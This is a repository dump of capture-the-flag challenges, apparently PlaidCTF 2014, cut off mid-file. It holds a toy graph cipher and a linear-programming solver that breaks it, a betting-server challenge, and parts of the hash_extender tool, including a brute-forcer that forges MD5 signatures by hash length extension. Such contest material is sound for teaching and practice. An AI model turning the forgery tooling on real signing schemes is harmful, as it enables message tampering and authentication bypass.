├── crypto
├── graphs
│ ├── ciphertext
│ ├── genkey.py
│ ├── mserrano_sol.py
│ └── pubkey
├── parlor
│ ├── README
│ ├── hash_extender
│ │ ├── .gitignore
│ │ ├── .poop.c.swp
│ │ ├── LICENSE.txt
│ │ ├── Makefile
│ │ ├── README.html
│ │ ├── buffer.c
│ │ ├── buffer.h
│ │ ├── formats.c
│ │ ├── formats.h
│ │ ├── hash_extender.CCC
│ │ ├── hash_extender_engine.c
│ │ ├── hash_extender_engine.h
│ │ ├── hash_extender_test.c
│ │ ├── poop
│ │ ├── poop.c
│ │ ├── test.c
│ │ ├── test.h
│ │ ├── util.c
│ │ └── util.h
│ ├── mserrano_sol.py
│ └── server.py
├── twenty
│ ├── gen.py
│ ├── plaintext
│ └── twenty.txt
└── wheeeeeeeeeeeeeeeeeeeeeee
│ ├── check
│ ├── check.c
│ ├── cimpl
│ ├── cimpl.c
│ ├── reimpl2.h
│ ├── server.py
│ ├── solutions
│ └── mserrano
│ │ ├── csol
│ │ ├── csol.c
│ │ ├── example_run.txt
│ │ ├── reimpl2.h
│ │ └── solution.py
│ └── wheeeee.py
├── forensics
├── curlcore
│ ├── curlcore.sh
│ ├── makepem.sh
│ └── sslserve.py
└── rsa
│ ├── README
│ ├── corrupted.pem
│ ├── encrypted
│ ├── key
│ ├── public.pub
│ └── reconstruct_pem.py
├── pwnables
├── __nightmares__
│ └── nightmares.py
├── ezhp
│ ├── Makefile
│ ├── ezhp
│ └── ezhp.c
├── harry_potter
│ ├── Makefile
│ ├── SHA256.cpp
│ ├── SHA256.h
│ ├── aes256.c
│ ├── aes256.h
│ ├── except
│ └── except.cpp
├── jackshit
│ ├── Makefile
│ └── main.c
├── kappa
│ ├── Makefile
│ ├── art.h
│ └── kappa.c
├── sass
│ ├── Makefile
│ └── sass.c
└── tenement
│ ├── Makefile
│ └── tenement.c
├── reversing
├── g++
│ ├── .gitignore
│ ├── Makefile
│ ├── g++-30f6a74ce24ea3605ba7cbec92222a72.tar.bz
│ ├── key
│ ├── solution
│ │ └── ryan.c
│ └── solveme.cpp
├── gcc
│ └── gimplify.c.diff
├── hudak
│ ├── KEY.txt
│ ├── Makefile
│ ├── hudak
│ ├── hudak-c3c6dd04f699cc01c0d4f547f2155ddf.tar.bz2
│ └── lazy.c
└── tiffany
│ ├── FLAGE
│ ├── braces.txt
│ ├── build_dfas.py
│ ├── length32.txt
│ ├── my.txt
│ ├── pt.c
│ ├── skills.txt
│ ├── solutions
│ └── ryan.py
│ ├── suck.txt
│ ├── synchronization.txt
│ ├── tiffany
│ ├── tiffany-0233a625fc40b2dda9c31781a0dbb46e.tar.bz2
│ └── underscores.txt
└── web
├── bronies
├── bigson
│ ├── bigson
│ └── bigson.cc
├── bronies_site
│ ├── cat.jpg
│ ├── data
│ │ ├── .htaccess
│ │ ├── do_xss.py
│ │ ├── imgs
│ │ │ ├── Apple Bloom.png
│ │ │ ├── Applejack.png
│ │ │ ├── Babs Seed.png
│ │ │ ├── Big McIntosh.png
│ │ │ ├── Diamond Tiara.png
│ │ │ ├── Fluttershy.png
│ │ │ ├── Pinky Pie.png
│ │ │ ├── Princess Celestia.png
│ │ │ ├── Rainbow Dash.png
│ │ │ ├── Rarity.png
│ │ │ ├── Scootaloo.png
│ │ │ ├── Silver Spoon.png
│ │ │ ├── Sweetie Belle.png
│ │ │ ├── Twilight Sparkle.png
│ │ │ └── Twist.png
│ │ ├── login
│ │ ├── logout
│ │ ├── main
│ │ └── msgs
│ ├── default.css
│ ├── head.php
│ ├── img.php
│ ├── index.php
│ ├── logo.png
│ └── mlp.jpg
├── login
│ ├── checkotp.c
│ └── www
│ │ ├── checkotp
│ │ ├── index.php
│ │ ├── login.php
│ │ ├── logout.php
│ │ └── style.css
├── solution
│ ├── exp.html
│ ├── exp.js
│ └── xss.html
└── victim
│ └── victim.py
├── halphow2js
├── index.html
├── mkcert.sh
├── script.js
├── server_cache.js
└── server_flag.js
├── heartbleed
└── Makefile
├── kPOP
├── README
├── add_song.php
├── classes.php
├── data.php
├── db.sql
├── export.php
├── flag
├── import.php
├── index.php
├── song.php
└── songs.php
├── mtpox
├── about
├── admin.php
├── create.sql
├── index
├── index.php
├── pysha256.py
├── secrets.php
├── solver.py
└── static
│ ├── css
│ ├── bootstrap.css
│ ├── bootstrap.min.css
│ └── style.css
│ └── js
│ ├── bootstrap.js
│ ├── bootstrap.min.js
│ └── jquery.min.js
├── reekee
├── distribute_me
│ ├── font.ttf
│ ├── manage.py
│ ├── mymeme
│ │ ├── __init__.py
│ │ ├── settings.py
│ │ ├── urls.py
│ │ ├── views.py
│ │ └── wsgi.py
│ └── templates
│ │ ├── head.html
│ │ ├── index.html
│ │ ├── login.html
│ │ ├── make.html
│ │ ├── register.html
│ │ └── view.html
├── give_me_the_flag.exe.c
├── mymeme
│ ├── db.sqlite3
│ ├── font.ttf
│ ├── manage.py
│ ├── mymeme
│ │ ├── __init__.py
│ │ ├── settings.py
│ │ ├── urls.py
│ │ ├── views.py
│ │ └── wsgi.py
│ └── templates
│ │ ├── head.html
│ │ ├── index.html
│ │ ├── login.html
│ │ ├── make.html
│ │ ├── register.html
│ │ └── view.html
├── solver.py
└── use_exe_to_read_me.txt
└── whatscat
├── README
├── database.sql
├── solver.sh
└── to_host
├── cat
├── cat.jpg
├── default.css
├── foot.php
├── head.php
├── imgs
├── cat1.jpg
├── cat2.jpg
├── cat3.jpg
├── cat4.jpg
├── dog1.jpg
├── lion.jpg
└── trex.jpg
├── index.php
├── login
├── logo.png
├── logout
└── main
/crypto/graphs/genkey.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import os,random,math,pickle,zlib
4 |
5 | '''
6 | Encrypts a message using super secure, NP-hard graph stuff.
7 |
8 | Encryption works like this: take a graph, split your message up into
9 | N numbers, such that the sum of all the numbers is equal to your message.
10 | Assign each vertex to one of these N numbers.
11 |
12 | Then ciphertext[v] is the sum of v's N, and all of the N's from v's neighbors
13 | '''
14 |
15 | class Graphcrypt:
16 | def __init__(self,fil=None,pubkey=None,privkey=None,keylen=None):
17 | if fil is not None:
18 | c = ''.join(open(fil).read().split("\n")[1:-1]).decode("base64")
19 | key = pickle.loads(zlib.decompress(c))
20 | if 'pub' in key:
21 | self.pubkey = key['pub']
22 | self.keylen = len(self.pubkey)
23 | elif 'priv' in key:
24 | self.pubkey = key['priv'].pubkey
25 | self.privkey = key['priv'].privkey
26 | self.keylen = key['priv'].keylen
27 | elif (pubkey == None) and (privkey == None):
28 | if keylen is None:
29 | self.keylen = 1024
30 | self.new()
31 | else:
32 | if (pubkey is None):
33 | raise Exception('u need a pub key, dawg')
34 | self.pubkey = pubkey
35 | self.keylen = len(self.pubkey)
36 | self.privkey = privkey
37 |
38 | def new(self):
39 | random.seed(os.urandom(self.keylen>>3)) #get some tasty randomness
40 |
41 | #use this to generate a random graph
42 | vertices = range(self.keylen)
43 | privkey = random.sample(vertices,self.keylen>>4)
44 |
45 | tocover = set(vertices).difference(set(privkey))
46 |
47 | G = [0]*self.keylen
48 | for v in vertices:
49 | G[v] = []
50 |
51 | while len(tocover) > 0:
52 | src = random.choice(privkey)
53 | dst = random.choice(list(tocover))
54 | G[src].append(dst)
55 | G[dst].append(src)
56 | tocover = tocover.difference(set([dst]))
57 |
58 | others = list(set(vertices).difference(set(privkey)))
59 | for o in others:
60 | for n in others:
61 | if random.getrandbits(5) == 0:
62 | if o not in G[n]:
63 | G[n].append(o)
64 | G[o].append(n)
65 | self.privkey = privkey
66 | self.pubkey = G
67 |
68 | def encrypt(self,message):
69 | t = message/self.keylen
70 | vals = [int(random.gauss(t,t)) for _ in xrange(self.keylen-1)]
71 | missing = message - reduce(lambda a,b:a+b, vals)
72 | vals.append(missing)
73 | assert(reduce(lambda a,b:a+b, vals) == message)
74 |
75 | ctext = [0] * self.keylen
76 | for v in xrange(self.keylen):
77 | ctext[v] = vals[v]
78 | for n in self.pubkey[v]:
79 | ctext[v] += vals[n]
80 | return zlib.compress(pickle.dumps(ctext),9).encode("base64")
81 |
82 | def decrypt(self,ct):
83 | if self.privkey == None:
84 | raise Exception('lol u dont hav a private key how u decrypt')
85 | ct = pickle.loads(zlib.decompress(ct.decode("base64")))
86 | return reduce(lambda a,b:a+b,[ct[i] for i in self.privkey])
87 |
88 | def exportpub(self,fil):
89 | s = "-----BEGIN GRAPHCRYPT PUBLIC KEY-----\n"
90 | s += zlib.compress(pickle.dumps({'pub':self.pubkey}),9).encode("base64")
91 | s += "-----END GRAPHCRYPT PUBLIC KEY-----\n"
92 | open(fil,'w').write(s)
93 |
94 | def exportpriv(self,fil):
95 | s = "-----BEGIN GRAPHCRYPT PRIVATE KEY-----\n"
96 | s += zlib.compress(pickle.dumps({'priv':self}),9).encode("base64")
97 | s += "-----END GRAPHCRYPT PRIVATE KEY-----\n"
98 | open(fil,'w').write(s)
--------------------------------------------------------------------------------
/crypto/graphs/mserrano_sol.py:
--------------------------------------------------------------------------------
1 | from pulp import *
2 | import os,random,math,pickle,zlib
3 |
4 | c = ''.join(open("pubkey").read().split("\n")[1:-1]).decode("base64")
5 | # c is a graph.
6 | g = pickle.loads(zlib.decompress(c))
7 | # g is now a graph
8 | g = g['pub']
9 | N = len(g)
10 | vs = []
11 | us = []
12 | prob = LpProblem("myProblem", LpMinimize)
13 | for x in xrange(N):
14 | vs.append(LpVariable("v"+str(x), 0, 1))
15 | for x in xrange(N):
16 | # we know its neighbors.
17 | l = g[x]
18 | prob += (lpSum([vs[z] for z in l] + [vs[x]]) >= 1)
19 | prob += lpSum(vs)
20 | print "Problem set up. Solving..."
21 | status = prob.solve(GLPK(msg=0))
22 | print "Solved."
23 | lst = []
24 | for x in xrange(N):
25 | if value(vs[x]) > 0:
26 | lst.append(x)
27 | print lst
28 | ct = open("ciphertext").read()
29 | ct = pickle.loads(zlib.decompress(ct.decode("base64")))
30 | msg = reduce(lambda a,b:a+b, [ct[i] for i in lst])
31 | print hex(int(msg)).strip('L').strip('0x').decode('hex')
32 |
--------------------------------------------------------------------------------
/crypto/parlor/README:
--------------------------------------------------------------------------------
1 | A simple betting game.
2 |
3 | User connects and the server and a "session" starts. The server generates a
4 | nonce for the session, and asks the user to input their own nonce. The server
5 | requests the odds the user wants and then the user's guess. If
6 | sha1(server_nonce+user_nonce)%odds == user_guess, they win.
7 |
8 | To verify the server isn't cheating, the user can request for the server_nonce
9 | to be displayed, which will also reset the server_nonce to something else.
10 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/.gitignore:
--------------------------------------------------------------------------------
1 | # ignore objects and archives, anywhere in the tree.
2 | *.[oa]
3 | *.exe
4 |
5 | hash_extender_test
6 | hash_extender
7 |
8 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/.poop.c.swp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/crypto/parlor/hash_extender/.poop.c.swp
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/LICENSE.txt:
--------------------------------------------------------------------------------
1 | Copyright © 2012 Ron Bowes. All Rights Reserved.
2 |
3 | Redistribution and use in source and binary forms, with or without
4 | modification, are permitted provided that the following conditions are
5 | met:
6 |
7 | 1. Redistributions of source code must retain the above copyright
8 | notice, this list of conditions and the following disclaimer.
9 |
10 | 2. Redistributions in binary form must reproduce the above copyright
11 | notice, this list of conditions and the following disclaimer in the
12 | documentation and/or other materials provided with the distribution.
13 |
14 | 3. The name of the author may not be used to endorse or promote products
15 | derived from this software without specific prior written permission.
16 |
17 | THIS SOFTWARE IS PROVIDED BY [LICENSOR] "AS IS" AND ANY EXPRESS OR
18 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
19 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
20 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
21 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
22 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
24 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
25 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
26 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
27 | POSSIBILITY OF SUCH DAMAGE.
28 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/Makefile:
--------------------------------------------------------------------------------
1 | # Checks if /usr/include/openssl/whrlpool.h exists, and set a define if it
2 | # doesn't.
3 | INCLUDE_OPENSSL := /usr/include/openssl
4 | INCLUDE_WHIRLPOOL := whrlpool.h
5 | ifneq ($(shell ls $(INCLUDE_OPENSSL)/$(INCLUDE_WHIRLPOOL) 2>/dev/null), $(INCLUDE_OPENSSL)/$(INCLUDE_WHIRLPOOL))
6 | WHIRLPOOL := -DDISABLE_WHIRLPOOL
7 | endif
8 |
9 | # Capture the operating system name for use by the preprocessor.
10 | OS := $(shell uname | tr '/[[:lower:]]' '_[[:upper:]]')
11 |
12 | # These are the specifications of the toolchain
13 | CC := gcc
14 | CFLAGS := -std=c89 -ggdb -O9 -oS -Wall -Werror -Wno-deprecated
15 | CPPFLAGS := -D_BSD_SOURCE -D$(OS) $(WHIRLPOOL)
16 | LDFLAGS := -lssl -lcrypto
17 |
18 | #BIN_MAIN := hash_extender
19 | BIN_MAIN := poop
20 | BIN_TEST := hash_extender_test
21 | BINS := $(BIN_MAIN) $(BIN_TEST)
22 |
23 | SRCS := $(wildcard *.c)
24 | OBJS := $(patsubst %.c,%.o,$(SRCS))
25 | OBJS_MAIN := $(filter-out $(BIN_TEST).o,$(OBJS))
26 | OBJS_TEST := $(filter-out $(BIN_MAIN).o,$(OBJS))
27 |
28 | all: $(BINS)
29 |
30 | $(BIN_MAIN): $(OBJS_MAIN)
31 | @echo [LD] $@
32 | @$(CC) $(CFLAGS) -o $(BIN_MAIN) $(OBJS_MAIN) $(LDFLAGS)
33 |
34 | $(BIN_TEST): $(OBJS_TEST)
35 | @echo [LD] $@
36 | @$(CC) $(CFLAGS) -o $(BIN_TEST) $(OBJS_TEST) $(LDFLAGS)
37 |
38 | %.o: %.c
39 | @echo [CC] $@
40 | @$(CC) $(CFLAGS) $(CPPFLAGS) -c -o $@ $<
41 |
42 | clean:
43 | @echo [RM] \*.o
44 | @rm -f $(OBJS)
45 | @echo [RM] $(BIN_MAIN)
46 | @rm -f $(BIN_MAIN)
47 | @echo [RM] $(BIN_TEST)
48 | @rm -f $(BIN_TEST)
49 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/formats.h:
--------------------------------------------------------------------------------
1 | #ifndef __FORMATS_H__
2 | #define __FORMATS_H__
3 |
4 | /* formats.h
5 | * By Ron Bowes
6 | * Created September/2012
7 | *
8 | * See LICENSE.txt
9 | *
10 | * This module implements encoders/decoders of various formats. It was
11 | * originally written for the hash_extender tool, but is generic enough to be
12 | * used elsewhere.
13 | *
14 | * As a programmer, you basically call format_encode() to encode a string in a
15 | * particular format, or format_decode() to convert it back. Both of these
16 | * functions take a string representing the format name, as well as the
17 | * incoming data and length. It returns an allocated string containing the
18 | * encoded or decoded data, and returns the string's length in the final
19 | * argument. Be sure to free() the variable.
20 | *
21 | * A user-readable list of encoders and decoders can be accessed through the
22 | * variables below, and format_exists() can be used to verify whether or not an
23 | * encoder is valid.
24 | *
25 | * If you want to add your own encoder/decoder, it's pretty easy. Add the
26 | * functions to formats.c, update the 'formats' array at the top, and add it to
27 | * the encode_formats/decode_formats string as applicable. That's it! I highly
28 | * recommend using the buffer module to build the strings, so you don't have to
29 | * worry about messing around with building strings by hand.
30 | *
31 | * The formats implemented are:
32 | * - none - output nothing in any case
33 | * - raw - output the string as-is
34 | * - hex - the string is encoded in hexadecimal (eg, "AAA" -> "414141"). This
35 | * is useful for hashes, for instance, which are generally represented this
36 | * way.
37 | * - html - non-alphanumeric characters are encoded in html style and spaces
38 | * are replaced with '+' - eg, '!a %z' -> '%21a+%25z'
39 | * - html-pure - all characters are encoded in html style - eg. 'ABC' ->
40 | * '%41%42%43'
41 | * - cstr - non-alphanumeric characters are encoded in cstring style - eg, '!a
42 | * %z' -> '\x21a\x20\x25z'
43 | * - cstr-pure - all characters are encoded - cstr style - eg. 'ABC' ->
44 | * '\x41\x42\x43'
45 | */
46 |
47 | #include "util.h"
48 |
49 | /* A comma-separated (and user-readable) list of encoders. */
50 | extern const char *encode_formats;
51 |
52 | /* A comma-separated (and user-readable) list of decoders. */
53 | extern const char *decode_formats;
54 |
55 | /* Check if the format exists. */
56 | bool format_exists(char *format);
57 |
58 | /* Encode the data and return it in a newly allocated string. */
59 | uint8_t *format_encode(char *format_name, uint8_t *data, uint64_t data_length, uint64_t *out_length);
60 |
61 | /* Decode the data and return it in a newly allocated string. */
62 | uint8_t *format_decode(char *format_name, uint8_t *data, uint64_t data_length, uint64_t *out_length);
63 |
64 | /* Perform self-tests. */
65 | void format_test(void);
66 |
67 | #endif
68 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/hash_extender_engine.h:
--------------------------------------------------------------------------------
1 | #ifndef __HASH_EXTENDER_ENGINE_H__
2 | #define __HASH_EXTENDER_ENGINE_H__
3 |
4 | /* hash_extender_engine.h
5 | * By Ron Bowes
6 | * Created September/2012
7 | *
8 | * See LICENSE.txt
9 | *
10 | * This module implements a hash length extension attack against a variety of
11 | * hash types, and can easily be modified to accept more.
12 | *
13 | * As a user, there are two functions that really matter: The first is
14 | * hash_append_data(), which appends the requested data to the string in a such
15 | * a way that we can sign it properly (that is, with the padding in between the
16 | * old string and the new string). The second is hash_gen_signature_evil()
17 | * which creates a new signature for the string with the appended data. For
18 | * more information on the nitty gritty details of this attack, have a look at
19 | * README.txt, it explains the attack in full.
20 | *
21 | * Hash types are idenfied by name. You can get a list of names either in
22 | * string format (hash_type_list) or in array format (hash_type_array). You can
23 | * also use hash_type_exists to check if it exists.
24 | *
25 | * One hash type - WHIRLPOOL - doesn't appear to be present in versions of
26 | * OpenSSL until fairly recently. As such, the Makefile detects whether or not
27 | * it exists and automatically disables the WHIRLPOOL support if it doesn't.
28 | *
29 | * Adding new hash types is fairly easy. Add it to the hash_types table at the
30 | * top of hash_extender_engine.c, then implement the required hashing function.
31 | * The hashing function hashes data of a given length, but has two additional
32 | * arguments - state and state_size - which, if populated, are the starting
33 | * state and the amount of data that has already been hashed (respectively). Be
34 | * sure to also add your hash type to hash_type_list and hash_type_array.
35 | */
36 |
37 | #include "util.h"
38 |
39 | /* The maximum length that any digest can be. */
40 | #define MAX_DIGEST_LENGTH (512/8)
41 |
42 | /* The total number of hash types (calculated automatically). */
43 | extern const uint64_t hash_type_count;
44 |
45 | /* A string containing a user-readable list of hash types. */
46 | extern const char *hash_type_list;
47 |
48 | /* A list of hash types an an array. */
49 | extern char *hash_type_array[];
50 |
51 | /* Check whether or not the given hash type exists. */
52 | bool hash_type_exists(char *hash_type_name);
53 |
54 | /* Basically an accessor method for the hash type's digest size. */
55 | uint64_t hash_type_digest_size(char *hash_type_name);
56 |
57 | /* Append data to the hash. */
58 | uint8_t *hash_append_data(char *hash_type_name, uint8_t *data, uint64_t data_length, uint64_t secret_length, uint8_t *append, uint64_t append_length, uint64_t *new_length);
59 |
60 | /* Generate a legit signature for the data - prepend the secret to the data and
61 | * sign it with the appropriate hash. Used primarily for testing. */
62 | void hash_gen_signature(char *hash_type_name, uint8_t *secret, uint64_t secret_length, uint8_t *data, uint64_t data_length, uint8_t *signature);
63 |
64 | /* Generate a signature for the data based on the appended data and the state
65 | * rather than using the secret. */
66 | void hash_gen_signature_evil(char *hash_type_name, uint64_t secret_length, uint64_t data_length, uint8_t *original_signature, uint8_t *append, uint64_t append_length, uint8_t *new_signature);
67 |
68 | /* Self-tests. */
69 | void hash_test(void);
70 |
71 | #endif
72 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/hash_extender_test.c:
--------------------------------------------------------------------------------
1 | #include "formats.h"
2 | #include "hash_extender_engine.h"
3 | #include "test.h"
4 |
5 | int main(void)
6 | {
7 | hash_test();
8 | format_test();
9 | test_report();
10 |
11 | return EXIT_SUCCESS;
12 | }
13 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/poop:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/crypto/parlor/hash_extender/poop
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/poop.c:
--------------------------------------------------------------------------------
1 | #include "hash_extender_engine.h"
2 | #include
3 | #include
4 | #include
5 |
6 | #include "buffer.h"
7 | #include "formats.h"
8 | #include "util.h"
9 | #include
10 |
11 | static unsigned int hex2int(char ch){
12 | if(ch>='0' && ch<='9') return ch-'0';
13 | if(ch>='a' && ch<='f') return ch-'a'+10;
14 | if(ch>='A' && ch<='F') return ch-'A'+10;
15 | return 0;
16 | }
17 |
18 | int main(int argc, char** argv) {
19 | uint8_t *b = malloc(64);
20 | memset(b,'B',64);
21 | uint8_t *ns = malloc(16);
22 |
23 | uint8_t *hash = calloc(16,1);
24 | unsigned int match = htonl(strtol(argv[2],0,16));
25 | unsigned int i;
26 | for (i = 0; i < 16; i++) {
27 | hash[i] = (hex2int(argv[1][2*i])<<4) + hex2int(argv[1][1+(2*i)]);
28 | }
29 | for (i = 0; i < 0x10000000; i++) {
30 | *(unsigned int*)&hash[0] &= 0x0f000000;
31 | *(unsigned int*)&hash[0] |= ((i & 0x0f000000)<<4) | (i & 0x00ffffff);
32 | hash_gen_signature_evil("md5",16,48,hash,b,64,ns);
33 | /* printf("%s\n",ns); */
34 | if (!memcmp(ns+12,(char*)&match,4)) {
35 | printf("%08x\n",htonl(((i & 0x0f000000)<<4) | (i & 0x00ffffff)));
36 | return 1;
37 | }
38 | }
39 | return 0;
40 | }
41 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/test.c:
--------------------------------------------------------------------------------
1 | #include "util.h"
2 |
3 | static int tests_run = 0;
4 | static int tests_passed = 0;
5 |
6 | static void test_passed(void)
7 | {
8 | tests_run++;
9 | tests_passed++;
10 | }
11 |
12 | static void test_failed(void)
13 | {
14 | tests_run++;
15 | }
16 |
17 | void test_check_boolean(char *description, uint8_t passed)
18 | {
19 | if(passed)
20 | {
21 | test_passed();
22 | }
23 | else
24 | {
25 | test_failed();
26 | printf("FAIL: %s\n", description);
27 | }
28 | }
29 |
30 | void test_check_memory(char *description, uint8_t *expected, uint64_t expected_length, uint8_t *result, uint64_t result_length)
31 | {
32 | if(expected_length == result_length && !memcmp(expected, result, expected_length))
33 | {
34 | test_passed();
35 | }
36 | else
37 | {
38 | test_failed();
39 |
40 | printf("FAIL: %s\n", description);
41 | printf(" Expected: ");
42 | print_hex(expected, expected_length);
43 | printf(" --> (\"%s\")\n", expected);
44 |
45 | printf(" Result: ");
46 | print_hex(result, result_length);
47 | printf(" --> (\"%s\")\n", result);
48 |
49 | printf("\n");
50 | }
51 | }
52 |
53 | void test_check_integer(char *description, uint32_t expected, uint32_t result)
54 | {
55 | if(expected == result)
56 | {
57 | test_passed();
58 | }
59 | else
60 | {
61 | test_failed();
62 |
63 | printf("FAIL: %s\n", description);
64 | printf(" Expected: 0x%08x\n", expected);
65 | printf(" Result: 0x%08x\n", result);
66 | printf("\n");
67 | }
68 | }
69 |
70 | void test_report(void)
71 | {
72 | if(tests_run == 0)
73 | {
74 | printf("No tests run!\n");
75 | }
76 | else
77 | {
78 | printf("--------------------------------------------------------------------------------\n");
79 | printf("TESTS PASSED: %d / %d [%2.4f%%]\n", tests_passed, tests_run, 100 * (float)tests_passed / tests_run);
80 | printf("--------------------------------------------------------------------------------\n");
81 | }
82 | }
83 |
84 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/test.h:
--------------------------------------------------------------------------------
1 | #ifndef __TEST_H__
2 | #define __TEST_H__
3 |
4 | #include "util.h"
5 |
6 | void test_check_memory(char *description, uint8_t *expected, uint64_t expected_length, uint8_t *result, uint64_t result_length);
7 | void test_check_integer(char *description, uint32_t expected, uint32_t result);
8 | void test_check_boolean(char *description, uint8_t passed);
9 | void test_report(void);
10 |
11 | #endif
12 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/util.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "buffer.h"
4 | #include "test.h"
5 | #include "util.h"
6 |
7 | void print_hex(unsigned char *data, unsigned int length)
8 | {
9 | unsigned int i;
10 |
11 | for(i = 0; i < length; i++)
12 | printf("%02x", data[i]);
13 | printf("\n");
14 | }
15 |
16 | static char get_character_from_byte(uint8_t byte)
17 | {
18 | if(byte < 0x20 || byte > 0x7F)
19 | return '.';
20 | return byte;
21 | }
22 |
23 | void print_hex_fancy(uint8_t *data, uint64_t length)
24 | {
25 | uint64_t i, j;
26 |
27 | for(i = 0; i < length; i++)
28 | {
29 | if(!(i % 16))
30 | {
31 | if(i > 0)
32 | {
33 | printf(" ");
34 | for(j = 16; j > 0; j--)
35 | {
36 | printf("%c", get_character_from_byte(data[i - j]));
37 | }
38 | }
39 | printf("\n%04X: ", (int)i);
40 | }
41 |
42 | printf("%02X ", data[i]);
43 | }
44 |
45 | for(i = length % 16; i < 17; i++)
46 | printf(" ");
47 | for(i = length - (length % 16); i < length; i++)
48 | printf("%c", get_character_from_byte(data[i]));
49 |
50 | printf("\nLength: 0x%X (%d)\n", (int)length, (int)length);
51 | }
52 |
53 | void die(char *msg)
54 | {
55 | fprintf(stderr, "FATAL ERROR: %s\n", msg);
56 | exit(EXIT_FAILURE);
57 | }
58 |
59 | void die_MEM(void)
60 | {
61 | die("Out of memory");
62 | }
63 |
64 | /* Read and return an entire file. */
65 | uint8_t *read_file(char *filename, uint64_t *out_length)
66 | {
67 | char buffer[1024];
68 | size_t bytes_read;
69 | buffer_t *b = buffer_create(BO_HOST);
70 | FILE *f = fopen(filename, "rb");
71 |
72 | if(!f)
73 | die("Couldn't open input file");
74 |
75 | while((bytes_read = fread(buffer, 1, 1024, f)) != 0)
76 | {
77 | buffer_add_bytes(b, buffer, bytes_read);
78 | }
79 |
80 | return buffer_create_string_and_destroy(b, out_length);
81 | }
82 |
--------------------------------------------------------------------------------
/crypto/parlor/hash_extender/util.h:
--------------------------------------------------------------------------------
1 | #ifndef _UTIL_H_
2 | #define _UTIL_H_
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | void print_hex(unsigned char *data, unsigned int length);
14 | void print_hex_fancy(uint8_t *data, uint64_t length);
15 | void die(char *msg);
16 | void die_MEM(void);
17 |
18 | uint8_t *read_file(char *filename, uint64_t *out_length);
19 |
20 | void util_test(void);
21 |
22 | #endif
23 |
--------------------------------------------------------------------------------
/crypto/parlor/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | from hashlib import md5
4 | import SocketServer,threading,os
5 |
6 | msg = """/------------------------------------------------------------------------------\\
7 | | Welcome to the betting parlor! |
8 | | |
9 | | We implement State of the Art cryptography to give you the fairest and most |
10 | | exciting betting experience! |
11 | | |
12 | | Here's how it works: we both pick a nonce, you tell us odds, and you give us |
13 | | some money. |
14 | | If md5(our number + your number) % odds == 0, you win bet amount*odds. |
15 | | Otherwise, we get your money! We're even so nice, we gave you $1000 to start.|
16 | | |
17 | | If you don't trust us, we will generate a new nonce, and reveal the old nonce|
18 | | to you, so you can verify all of our results! |
19 | | |
20 | | (Oh, and if you win a billion dollars, we'll give you a flag.) |
21 | \______________________________________________________________________________/
22 | """
23 |
24 | options = """
25 | ====================
26 | 1) set your odds
27 | 2) set your bet
28 | 3) play a round
29 | 4) get balance
30 | 5) reveal nonce
31 | 6) quit
32 | ====================
33 |
34 | """
35 |
36 | def getn(s):
37 | try:
38 | return int(s.recv(1024))
39 | except:
40 | return 0
41 |
42 | class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
43 | pass
44 |
45 | class incoming(SocketServer.BaseRequestHandler):
46 | def handle(self):
47 | cur_thread = threading.current_thread()
48 | self.nonce = os.urandom(16)
49 | self.user_nonces = []
50 | self.monies = 1000
51 | self.bet = 1
52 | self.odds = 1
53 |
54 | self.request.send(msg)
55 |
56 | while True:
57 | if self.monies >= 1000000000:
58 | self.request.send("Holy shit you have a lot of money. Here's a key: XXXXXXXXXXXXXXX\n")
59 | self.request.send(options)
60 | m = getn(self.request)
61 | if m == 1:
62 | self.request.send("Please pick odds (as a power of 2 between 1 and 100): ")
63 | self.odds = min(max(getn(self.request),1),100)
64 | self.request.send("Odds set to 2^%d, good luck!"%self.odds)
65 | elif m == 2:
66 | self.request.send("Please pick your bet amount (between 0 and %d): "%self.monies)
67 | self.bet = min(max(0,getn(self.request)),self.monies)
68 | self.request.send("Alright, bet amount set to $%d, good luck!"%self.bet)
69 | elif m == 3:
70 | self.request.send("Okay, send us a nonce for this round!\n")
71 | self.user_nonces.append(self.request.recv(1024))
72 | if self.user_nonces[-1] in self.user_nonces[:-1]:
73 | self.request.send("What part of NONCE don't you understand, asshole?\n")
74 | return 0
75 | self.bet = min(self.bet,self.monies)
76 | self.monies -= self.bet
77 | self.request.send("Betting $%d at odds of 2^%d"%(self.bet,self.odds))
78 | result = int(md5(self.nonce + self.user_nonces[-1]).hexdigest(),16)&((2<<(self.odds-1))-1)
79 | if result == 0:
80 | self.request.send("\nWow! You won, congratulations!")
